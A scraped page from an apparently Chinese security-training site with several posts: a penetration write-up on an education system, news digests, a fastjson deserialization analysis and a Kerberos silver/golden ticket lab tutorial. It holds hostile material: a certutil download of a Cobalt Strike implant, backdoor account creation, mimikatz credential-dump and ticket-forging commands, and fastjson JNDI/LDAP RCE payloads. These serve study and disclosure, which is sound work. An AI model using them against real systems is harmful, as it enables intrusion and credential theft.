既然目录爆破不行,这系统打开就是登录点,那就爆破登陆点试一试,各种用户名都爆破了一遍
还是失败了,一个弱口令都没爆破出来,学号,工号爆破都试过了,没有一个成功的,目前为止,目录爆破,密码爆破都走不通。
Sql注入,post注入,常规操作,果然。。。。又是一片红,必然做了过滤,简单的fuzz了下sql语句饶了绕,还是失败。
各种操作都来了一波,啥也没挖到,在挖edu的这段时间里,经常遇到这种情况,都习惯了。
既然注入也没有,还有过滤,那就测测逻辑漏洞,右下角找回密码,我可太喜欢找回密码了,找回密码处就是逻辑漏洞的高发地点,一打一个准,
点进去是这样一个页面,挺简陋,越是简陋,就越好打,果断输入答案,抓包。
没啥好看的,要是返回包里是json格式的话,那还有得玩。反正我遇上的逻辑漏洞,都是前端验证传回来的json参数,改json实现绕过。
3.柳暗花明(发现sql注入)
Sql注入,爆破,弱口令,逻辑漏洞都试过了,都失败了,正准备放弃的时候,我发现找回密码的时候,他这个系统有个特点,只要你一输入要找回的账户然后再换行,本来它设置问题那一栏是空的,在你输入完账号再换行时,它问题那一栏自动就出现了验证问题。
所以我推断,在用户输入完账号之后换行就触发了一个动作,这个动作会自动将用户输入的账号带入到后台,从后端获取这个账号的问题,然后再显示在前端,必然有数据交互的一个过程,既然有交互,那么这个点也可能存在注入的可能。
想到这里,打开burp,输入完账号之后不换行,切换至burp,抓包,然后再换行,触发动作,果然抓到了一个post包,请求内容正是账号
输入一个单引号,发现报错了,存在注入无疑了,这系统普通的登录点卡的死死的,还是被找到注入了,只不过这个注入的位置太奇葩了,一般人遇上waf就放弃了。
Sqlmap一把梭,发现是mssql,还是dba权限,不用想了,mssql+dba权限=xp_cmdshell,都不用进后台了。--os-shell
4.bypass上线cs并提权
过程就不放图了,简单描述一下,用的是certutil.exe -urlcache -split -f下载cs马,cs马在我的服务器上,刚开始下载文件的时候,报错,whoami一看,数据库权限,只读权限,没有写文件的权限,这可麻烦了
最后解决办法是,把cs马下载到mssqlserver用户的桌面目录下,其他路径没有执行下载的权限,在自己用户的桌面目录从有写文件的权限了吧?执行cs马,cs上线!
虽然拿到了shell,不过这个shell的权限实在太低了,dumphash报错,操作注册表就各种报错,反正啥操作的报错,因为权限太低
如今当务之急就是提权,先执行一下systeminfo、tasklist看看啥情况
Server 2012的机器,补丁实在打的有点多,吓人。Tasklist里也没发现有杀毒软件,估计是云waf
2012的机器内核漏洞算是最多的了,来来回回试了几个MS16-032/016,全打上补丁了,最后一个MS16-075,一把打穿,成功拿下system权限,2012的机器还是好提。
Bypass远程桌面组获取桌面控制权
执行一下netstat -ano发现开了3389端口,net user发现一堆的用户,这里就不放图了,不然篇幅实在太长了,简单的信息搜集之后,开始办正事,目标是桌面控制,上神器Mimikatz,抓一抓明文密码。这里稍微提一下,2021的机器是可以通过改注册表直接获取明文密码的,一抓发现管理员上次是5.3登录的,没抓到密码,只有hash
抓不到明文密码,那就新建用户,net user admin 123456 /add 新建用户,新建了一个admin 密码123456的用户。远程桌面连一下试试。
出现报错:“连接被拒绝,因为没有授权此用户帐户进行远程登录!以为就要成功了,这一个报错就像是当头一棒,找了找原因,是因为我新建的用户没有加入到远程桌面组,所以无法登录,
用net user把admin加入到远程桌面组之后,还是报错,我又修改注册表把防火墙关了,RDP规矩也放行了,无果..我猜可能是修改完配置之后要重启才会生效,我要是重启的话,这台服务器上的这套系统必然会瘫痪,重启是肯定不可取的。
在思想斗争了半天之后,我想到guest用户应该是默认就在远程桌面组的,我只要激活guest用户,那我就可以不重启就连3389了。
激活guest用户成功,密码123456,远程连接一下
一看到这个正在配置远程会话就知道稳了,3389成功上了桌面,guest权限,加了个隐藏账户,并手动加入到远程桌面组
5.RDP劫持失败
我们的目标是administrator的桌面控制权,但是密码抓不到,又不能重置administrator的密码,怎么拿下它的桌面?
这里我用了RDP劫持,上传一个psexec工具,然后获取一个system权限的cmd,因为只有system权限的命令行才能进行接管会话
首先query user查看会话ID(这里的图是我写文章的时候截的,所以登录时间是6-1)
然后再在system权限的命令行中执行tscon 2,发现失败,因为上次登录的时间已经超过三天了,凭证过期,无法劫持会话
6.PTH攻击实现利用hash登录
最后通过pth攻击 hash传递攻击拿下了administrator的桌面权限,具体如下
mimikatz命令:
执行后弹出远程登录界面,选择连接,成功实现无密码登录administrator
桌面长这样,mssql数据库管理页面还没退出
结尾
梳理一下过程:1.从外网信息搜集—2.到发现sql注入—3.到绕过权限上马—4.再到低权限提权—5.最后通过pth实现无密码登录administrator桌面,整个过程没有什么技术含量,都是很基本的操作,但是能学到很多,求各位大师傅轻喷,我觉得从发现问题到解决问题是一个很享受的过程,还有,最后拿到了程序的源码,审计后又发现了一处注入和未授权进后台,因为篇幅问题就不说了,漏洞已经打包提交至平台,最后,网安学习这条路任重道远,希望自己能走下去,少一点花里胡哨,踏踏实实学东西才是最重要的,不能觉得自己学了点皮毛就四处炫耀,保持适当的谦卑
网络安全日报 2021年06月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、越来越多的 STUN 服务器被 DDoS 攻击滥用
https://www.securityweek.com/organizations-warned-stun-servers-increasingly-abused-ddos-attacks
2、多款ICS产品使用的CODESYS软件存在严重漏洞
https://www.securityweek.com/serious-vulnerabilities-found-codesys-software-used-many-ics-products
3、研究人员发现新的恶意软件BlackCocaine Ransomware
https://securityaffairs.co/wordpress/118617/malware/blackcocaine-ransomware.html
4、Colonial Pipeline遭攻击是因为员工密码泄露
https://www.bloombergquint.com/business/hackers-breached-colonial-pipeline-using-compromised-password
5、黑客扫描易受CVE-2021-21985 RCE攻击的 vCenter Server
https://securityaffairs.co/wordpress/118594/hacking/hackers-vmware-vcenter-cve-2021-21985.html
6、APT28利用SkinnyBoy恶意软件入侵敏感组织
https://www.bleepingcomputer.com/news/security/new-skinnyboy-malware-used-by-russian-hackers-to-breach-sensitive-orgs/
7、考克斯媒体集团广播和电视台遭到网络攻击
https://therecord.media/live-streams-go-down-across-cox-radio-tv-stations-in-apparent-ransomware-attack/
8、Korenix更新修补了网络设备中的多个关键漏洞
https://portswigger.net/daily-swig/korenix-patches-multiple-critical-vulnerabilities-in-networking-devices
9、约170名东京奥运会工作人员的数据被黑客窃取
https://www.technadu.com/tokyo-olympics-organizers-data-stolen-hackers/281267/
10、美国UF Health医院遭到网络攻击关闭部分网络
https://www.bleepingcomputer.com/news/security/uf-health-florida-hospitals-back-to-pen-and-paper-after-cyberattack/
java安全之fastjson链分析
前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化洞:
1.2.22<=version<=1.2.24
1.2.25<=version<=1.2.47
简述与使用
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f (fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)
项目地址:https://github.com/alibaba/fastjson
环境直接maven:
<dependencies>
....
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
</dependencies>
首先是关于fastjson的序列化与反序列化过程中会调用到类的get跟set方法,一个自建类:
package org.example;
public class JsonTest {
private int _id;
private String _name;
private String _passwd;
public JsonTest(int _id, String _name, String _passwd) {
this._id = _id;
this._name = _name;
this._passwd = _passwd;
}
public JsonTest() {
}
public int get_id() {
System.out.println("get "+_id);
return _id;
}
public void set_id(int _id) {
System.out.println("set "+_id);
this._id = _id;
}
public String get_name() {
System.out.println("get "+_name);
return _name;
}
public void set_name(String _name) {
System.out.println("set "+_name);
this._name = _name;
}
public String get_passwd() {
System.out.println("get "+_passwd);
return _passwd;
}
public void set_passwd(String _passwd) {
System.out.println("set "+_passwd);
this._passwd = _passwd;
}
@Override
public String toString() {
return "JsonTest{" +
"_id=" + _id +
", _name='" + _name + '\'' +
", _passwd='" + _passwd + '\'' +
'}';
}
}
Main:
public static void main(String[] args) {
JsonTest jsonTest = new JsonTest(1,"uname","passwd");
System.out.println("[1]================");
String str = JSON.toJSONString(jsonTest);
System.out.println("[2]================");
System.out.println(str);
System.out.println("[3]================");
Object jsonTest1 = JSON.parseObject(str,JsonTest.class);
System.out.println("[4]================");
System.out.println(jsonTest1);
}
运行后得到了如下结果:
[1]================
get 1
get uname
get passwd
[2]================
{"id":1,"name":"uname","passwd":"passwd"}
[3]================
set 1
set uname
set passwd
[4]================
JsonTest{_id=1, _name='uname', _passwd='passwd'}
很明显的在序列化时会调用类中各属性的get方法,而反序列化时会调用其set方法。
在上述反序列化过程中需要多添加一个class类的参数:JsonTest.class
而fastjson也提供了一种无需指定类的方式,称为autotype,而这种autotype正是导致反序列化漏洞的原因。
给序列化过程的函数指定第二个参数:
JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);
此时能够得到一个指定了type的json串:
{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}
再对其反序列化时就无需再指定对应的类了:
Object jsonTest1 = JSON.parseObject(str);
System.out.println(jsonTest1);
当未对@type字段进行完全的安全性验证,攻击者可以传入危险类,从而调用危险类对目标机进行攻击,接下来分析一下其过程。
反序列化过程
先在JSON.parseObject处下个断点,跟入看看fastjson的反序列化过程。
首先进入到JSON.class中:
接着进入parse函数中:
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
使用了默认的解析方式DEFAULT_PARSER_FEATURE去解析我们的json串,继续跟入:
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
其构造器中有如下:
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
其会根据对应的{或[去设置token,之后通过scanSymbol来获取到@type,并且autotype它还支持如下形式嵌套的串:
[
{
"@type": "xxx.xxx",
"xxx": "xxx"
},
{
"@type": "xxx.xxx",
"xxx": {
"@type": ""
}
},
{
"@type": "xxx"
} : "xx",
{
"@type": "xxx"
} : "xx"
]
其中对于字符串的还有如下对于双字节字符的处理:
\u或\x即是unicode或者16进制,而还有其他的如\v等,有师傅做了https://xz.aliyun.com/t/7107:
\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\
等,java字符串读入之后会变成两个字符,因此,fastjson会把它转换会单个字符
\f \F双字符都会转成单字符\f
\v双字符转成\u000B单字符
\x..四字符16进制数读取转成单字符
\u....六字符16进制数读取转成单字符
这一个点其实可以用在某些filter的绕过上。
继续上面的scan,获取到@type后会继续获取到其类名,最后赋值给typeName,此时会进一步调用TypeUtils.loadClass去加载类:
之后会从mappings中尝试取出class类(mappings中存放的是一些内置类):
如下,取不到后会去使用ClassLoader加载类并且将className和其class类put进mapping中。
接着进行反序列化:
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
一路跟去会有一个denyList:
这一个list默认情况下只有一个Thread类:
this.denyList = new String[]{"java.lang.Thread"};
最后会去调用到set方法。
1.2.22-1.2.24
这个版本下有两条利用链:JdbcRowSetImpl和Templateslmpl,还有一条BasicDataSource,下面逐一分析。
JdbcRowSetImpl
首先该链有两种利用方式:RMI+JNDI和RMI+LDAP
其中我使用到的是jdk8u66,关于高版本的限制以及绕过方式可以参考:
https://www.freebuf.com/column/207439.html前面说到反序列化会调用到set方法,而漏洞的产生正是因为set方法,直接拿payload打一下:
public static void main(String[] args) {
String payload = "
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点:
直接进入到else中直接将datasource设置为我们传入的值,再在setAutoCommit中下个断点:
同样进入else,关键在于这里的connect调用了lookup:
最后就造成了JNDI注入,LDAP同样如此,修改一下协议即可。
Templateslmpl
前面的链就不跟了,体力活,主要是了解其原理,具体可以看看:
https://www.cnblogs.com/afanti/p/10193158.htmlhttps://xz.aliyun.com/t/8979#toc-6payload我参考的是上面第二个链接,此处截取部分方便理解:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
默认的知道以下划线开头是private属性,通过fastjson其实是无法直接赋值的,需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值,因此这条链实际作用不大,不过分析一下锻炼一下代码审计能力。
首先是对于下划线的处理,在JavaBeanDeserializer#smartMatch中会处理掉下划线,之后去调用对应的set方法,bytecodes在最后会进行base64解码,并且bytecode是binary,fastjson中不支持反序列化此类字符串,因此这也是其为base64字符串的原因,而对于_outputProperties这一个属性比较特殊,它调用到的不是set方法而是get方法,因此我着重跟一下它。
因为在调用set方法时都是经过FieldDeserializer#setValue,因此在此处下个断点。
跟到下面调用到了getOutputProperties方法是通过invoke,之后就执行命令了:
但method的来源还需要追究一下。
经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化,而sortedFieldDeserializers正是获取到getOutputProperties的关键:
在createJavaBeanDeserializer中调用了JavaBeanInfo#build,一路debug能够发现获取一个set方法时是通过如下代码:
同样位于build函数下有一段获取getter的代码:
其中OutputProperties的getter就是从这里获取到,不过这还是无法解除关于为什么要获取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke调用getOutputProperties后,得到的是一个Map类,而随后会对map调用putAll:
Map map = (Map)method.invoke(object);
if (map != null) {
map.putAll((Map)value);
}
也就说如果一个json串:
{"@type": "xxx.xxx", "hhhm": {"key": "value"}}
会需要将{"key": "value"}放入hhhm中,因此需要先调用get来获取到这一个map以便于后续的赋值。
跟入getOutputProperties->newTransformer->defineTransletClasses,实例化了bytecodes,然后在:
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
经过一系列调用最后就到了TEMPOC中执行到RCE:
BasicDataSource
省赛遇到的一道题才知道原来还有这条链,先mark下:
http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/该链只能用于Fastjson 1.2.24及更低版本,使用范围相较于前两条链而言较小,链接处文章写的也很详细,不做过多叙述。
1.2.25-1.2.45部分绕过
直接拿着原来的链打会发现报错,发现多了一个ParserConfig.checkAutoType方法,在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复:
//1.2.24
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
//1.2.25
Class<?> clazz = config.checkAutoType(typeName);
autoTypeSupport默认修改为false:
需要通过如下方式开启:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
并且有一个denylist,来过滤掉前面用到的链中的类:
部分手动开启autoType的绕过链就不分析了,绕过的点也比较容易看出,具体看https://xz.aliyun.com/t/9052
这部分绕过个人感觉适用于ctf中,不做分析了,下面贴一下payload。
1.2.25-1.2.41
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.45
需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本
payload:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
1.2.25-1.2.47
这条链是通杀的,比较厉害的是其不需要开启AutoTypeSupport,相对于上面提到的绕过而言利用面广泛的多,因此着重分析一下。
该链在<1.2.32之前,如果开启了AutoTypeSupport则无法利用,在>1.2.32后五轮是否开启都可以利用。
payload:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
前面提到在checkAutoType中有这么一个if:
if (this.autoTypeSupport || expectClass != null)
因为autoTypeSupport默认为false,所以if内的代码都跳过了,而这条链的利用也无需这一个if,跟到后面:
这里的deserializers.findClass比较关键:
此处的this.buckets会发现其内置了很多的类,如:
那么问题也就是出在这里,我们目前传入的类是java.lang.class,而该类正处于这一个buckets中,而deserializers中有一个put方法,正是这一个方法将类放入白名单中从而避过了autotype的限制。
偏一下话题,稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法:
白名单中的类都在此处。
比较好奇的是此处的class类的作用,在对class类进行反序列化时,其调用链如下:
deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImpl
此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过,其会尝试从mappings中取出类:
Class<?> clazz = (Class)mappings.get(className);
在取不到时会调用类加载器去加载类,此时就取到了com.sun.rowset.JdbcRowSetImpl。
之后最致命的操作就是:
mappings.put(className, clazz);
将com.sun.rowset.JdbcRowSetImpl这一个类放入了mappings中,而在加载b字典中的JdbcRowSetImpl类时,调用到的是:
他会直接从mappings中取类,而前面已经将JdbcRowSetImpl放入mappings中,此时达成了绕过autotype关闭的限制。
开发目的应该是为了程序运行效率,省去每次都需要去重新加载类的麻烦,但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。
而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false:
if (cache) {
mappings.put(className, clazz);
}
此时就不会将class类装载进缓存中了。
网络安全日报 2021年06月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、CISA 发布针对威胁情报分析师的 MITRE ATT&CK 映射指南
https://www.securityweek.com/cisa-issues-mitre-attck-mapping-guide-threat-intelligence-analysts
2、思科修复 Webex 和 SD-WAN 中高风险安全漏洞
https://www.securityweek.com/cisco-plugs-high-risk-security-flaws-webex-sd-wan
3、FBI 确认 REvil 勒索软件攻击了 JBS Foods
https://www.securityweek.com/fbi-confirms-revil-ransomware-involved-jbs-attack
4、趋势科技发布影响 macOS、iOS 的漏洞PoC
https://www.securityweek.com/trend-micro-releases-poc-exploit-vulnerability-affecting-macos-ios
5、研究人员发现Rowhammer 攻击新技术 Half-Double
https://cyware.com/news/half-double-a-new-variant-of-rowhammer-attack-eeb20e50
6、FireEye 以 12 亿美元出售其产品业务和品牌名
https://www.cnbc.com/2021/06/02/fireeye-selling-products-business-and-name-for-1point2-billion.html
7、Realtek RTL8170C Wi-Fi 模块多个漏洞可导致通信劫持和提权
https://securityaffairs.co/wordpress/118558/security/realtek-rtl8170c-wi-fi-module-flaws.html
8、FUJIFILM东京总部遭到网络攻击部分网络中断
https://www.bleepingcomputer.com/news/security/fujifilm-shuts-down-network-after-suspected-ransomware-attack/
9、Accusoft ImageGear中存在多个安全漏洞
https://blog.talosintelligence.com/2021/06/vuln-spotlight-accusoft-.html
10、暴雪公司遭大规模DDoS攻击可能导致游戏高延迟
https://news.softpedia.com/news/blizzard-experiencing-ddos-attack-possible-high-latency-and-disconnections-533100.shtml
Kerberos协议及其利用
前言
之前就一直想着抽空学学内网渗透相关的东西,无奈被各种事情耽搁。。。刚好这两天闲下来,就把之前留的坑填一下。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040817061200001 (本实验主要介绍了windows server2003系统的域和DNS服务器的搭建,通过本实验的学习学会kerberos网络认证协议搭建方式。)
Kerberos协议原理
啥是Kerberos?
一种双向的网络身份认证协议,通过使用加密技术为客户端/服务端应用程序提供强大的认证服务
基本概念
Principal 安全个体,具有唯一命名的客户端或服务器。命名规则:主名称+实例+领域,如:herlocky/mailto:admin@EXAMPLE.COM
TGT 票据授予票据(Ticket Granting Ticket),包含客户端ID、客户端网络地址、票据有效期以及client/TGS会话密钥
Ticket 票据,一条包含客户端标识信息、会话密钥和时间戳的记录,客户端用它来向目标服务器认证自己
Session key 会话密钥,指两个安全个体之间使用的临时加密秘钥,其时效性取决于单点登录的会话时间长短
KDC Key分发中心(key distribution center),是一个提供票据(tickets)和临时会话密钥(session keys)的网络服务。KDC服务作为客户端和服务器端信赖的第三方,为其提供初始票据(initial ticket)服务和票据授予票据(ticket-granting ticket)服务,前半部分有时被称为AS,后半部分有时则被称为TGS
AS 认证服务器(Authentication Server),KDC的一部分。通常会维护一个包含安全个体及其秘钥的数据库,用于身份认证
TGS 许可证服务器(Ticket Granting Server),KDC的一部分,根据客户端传来的TGT发放访问对应服务的票据
SS 特定服务的提供端(Service Server)
如何运作?
放一张图片可能比较好理解一些:
1.(在开启Kerboers协议的基础上)当客户端想访问服务器上的资源时,需要先向KDC发送认证请求,在发送认证请求的时候会根据自己的密码生成密钥,用密钥将发送的时间戳进行加密。(加密作用在于防止别人获取到信息后进行重放攻击)
2.1 KDC在接受到请求后,会先查看AS中是否有该账户的信息,使用相对应解密算法将时间戳解密,完成了A的身份认证。这里解释一下为啥会用到时间戳:因为在传输过程中,可能会被黑客进行截获,黑客在截获后如果想骗取认证的话需要进行数据包的再次发送,也就是重放攻击。重放攻击需要耗费一定时间,如果用时间戳作为衡量标准的话,当KDC解出时间戳和当前时间差别过大时,就不会再继续认证。
2.2 上文说到Kerboers是双向的认证,2.1是客户端向KDC证实身份,现在需要KDC向客户端证明身份。首先,KDC会生成一把专门用于KDC与A之间通信的密钥,并且用密钥加密自身,得到的这个玩意儿就是TGT。之后将时间戳、KDC生成的密钥、随机字符串使用客户端生成的密钥进行加密。
2.3.客户端在收到消息后,会使用自己最初生成的密钥来解密密文,得到KDC的密钥,并且证实其身份。
3.1 接下来客户端需要向KDC去认证服务器的身份,于是会将之前的TGT和KDC的密钥加密的信息与时间戳以及新的消息发送给KDC,KDC收到消息后会将TGT解密拿到密钥和加密的信息,达到验证客户端的目的。
4 KDC生成新的密钥 ,新密钥供客户端与服务器通信时使用,并且该密钥和客户端的信息会被服务器的密钥进行加密形成票据,原KDC生成的密钥对新密钥进行加密后,将票据和生成的新密文发送给客户端
5.1 客户端拿着KDC生成的新密钥加密信息和时间戳,再外加一个票据(TGS)去请求服务器
5.2 服务器用自己的私钥解开票据,拿到客户端和服务器之间的密钥以及信息,接着用该密钥解密客户端发来的密文,如果验证为真,就会将时间戳用客户端和服务器之间的密钥进行加密发给客户端。
6 客户端接收到服务器发送的信息后,解密查看时间戳完成对B的身份校验,完成认证过程。
---------------------------------------------------------------------------------------------------分隔符---------------------------------------------------------------------------------------------------------
用大白话来说可能会容易理解Kerboers协议,比如在学校的机房里(假设为域控环境),如果用户想在任意一台主机上进行操作,只需要有一个账户名密码即可。该账户名密码存于域控制器中,有别于我们平时使用的工作组,用户名密码不通过本机验证,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机(如telnet)则是通过SAM来进行NTLM验证。
记录一次不心酸的AD域控搭建
环境
VMware虚拟机:Windows 2012 R2,Windows 7
过程
搭建起来没想象中的复杂,主要是把服务器上的AD域和DNS服务器安装好,处理好服务器和主机之间互通的问题
直接按照这个博客搭建即可https://www.cnblogs.com/leixiao-/p/10579208.html,过程不再赘述。搭建域控环境目的还是为了复现Kerberos协议中的两种利用方式。
白银票据
原理
先拽一波英文,Silver Ticket(白银票据)主要是利用TGS,即六步认证过程中的第五步,客户端拿着票据向服务器中的某个服务发起请求,这时候的票据格式是这样的:
Ticket=Server Hash(Server Session Key+Client info+End Time)
利用服务器端生成的密钥对Server Session Key、客户端的消息以及时间戳进行加密。因为服务器没有收到Server Session Key,并不知道我们要访问的究竟是何种服务,所以当我们知道Server Hash的时候,就可以去访问服务器中指定的服务。简单地说,就是生成了一个可以随时访问服务的后门。
利用条件
1.已知服务器的NTLM hash
2.仅对部分开放服务有效,如cifs(文件共享服务),mssql,winrm(windows远程管理),dns等等
实践过程
用的是红日安全的环境
192.168.52.138 域控服务器
192.168.52.143 客户端
mimikatz 工具
之前自己搭建的AD域环境有点问题,没复现成功,心塞。。。然后用红日的环境复现好了。拿到的客户端是管理员权限,域控的主机是普通用户权限。没详细研究怎么去打组合拳,先看看能不能利用一下白银票据。尝试用命令查询客户端共享目录的访问权限,发现无法访问:
dir \\stu1.god.org\c$
因为要伪造访问客户端的访问权限,所以我们可以在客户端中去拿到这个NTLM Hash:
mimikatz log "privilege::debug" "sekurlsa::logonpasswords">log.txt
在log.txt中查看到 NTLM Hash:
然后我们还需要域的SID值,域的SID就是域成员的SID值去掉最后的 -数字 的部分,该域的SID值就是S-1-5-21-2952760202-1353902439-2381784089 可以在log.txt中查看,也可以用命令:
whoami /user
最后一步,就是在域控主机中伪造票据,为了方便就直接进行伪造,写入域控主机内存。mimikatz 其实还可以把票据dump到本地,方便以后再使用。为了防止其他票据干扰,可以使用 kerberos::purge 把主机中其他票据删除。伪造命令:
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:stu1.god.org /rc4:55c330808522af0724598d8f48af2809 /service:cifs /user:stu1 /ptt
然后再次访问,成功:
最后,mimikatz之前没咋用过,简单看了一下是可以将内存中的密码都读出来,很强大。。有些密码没经过Hash处理,直接明文显示了。
黄金票据
原理
和白银票据不同,黄金票据利用点在于伪造TGT。伪造TGT的关键就在于获取KDC的哈希值,也就是KRBTGT账户的哈希值,伪造出TGT的话,后面就可以有效的获得目标主机任何的Kerberos服务。
利用条件
1.需要与KDC通信
2.需要krbtgt的hash
实践过程
依旧是红日安全的环境
Win2008R2(DC) IP:192.168.52.138
Win2003 IP:192.168.52.141
Win7 IP:192.168.52.143(内)
mimikatz 工具
大大大前提:我们已经可以访问域控主机,接下来我们在域控上使用mimikatz进行票据提取。先导出KRBTGT账户的hash:
lsadump::dcsync /domain owa /user:krbtgt
把信息提取出来:
安全账户管理器用户名:krbtgt krbtgt SID为:S-1-5-21-2952760202-1353902439-2381784089-502 krbtgt 的hash:58e91a5ac358d86513ab224312314061
查看一下域控主机当前用户:
接着回到win7主机上,我们要在win7主机中使用mimikatz,通过黄金票据获得域控主机权限。先启动mimikatz,借助kerberos::purge命令清除win7主机上的票据
接着利用前面获取到的信息伪造黄金票据:
kerberos::golden /domain:owa.god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-502 /rc4:58e91a5ac358d86513ab224312314061 /user:krbtgt /ptt
再尝试一下能否访问远程文件共享
啊这,出现这个错误的时候在网上查了很多资料,也关闭了防火墙和windows defender还是出现上述问题。后面调用systeminfo命令看了一下,原来打补丁了啊,那没事了,如果没有补丁的话就可以继续对目标机器进行渗透,甚至可以用PSEXEC.exe进行反弹shell。关于红日安全靶场,在网上进行下载即可。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

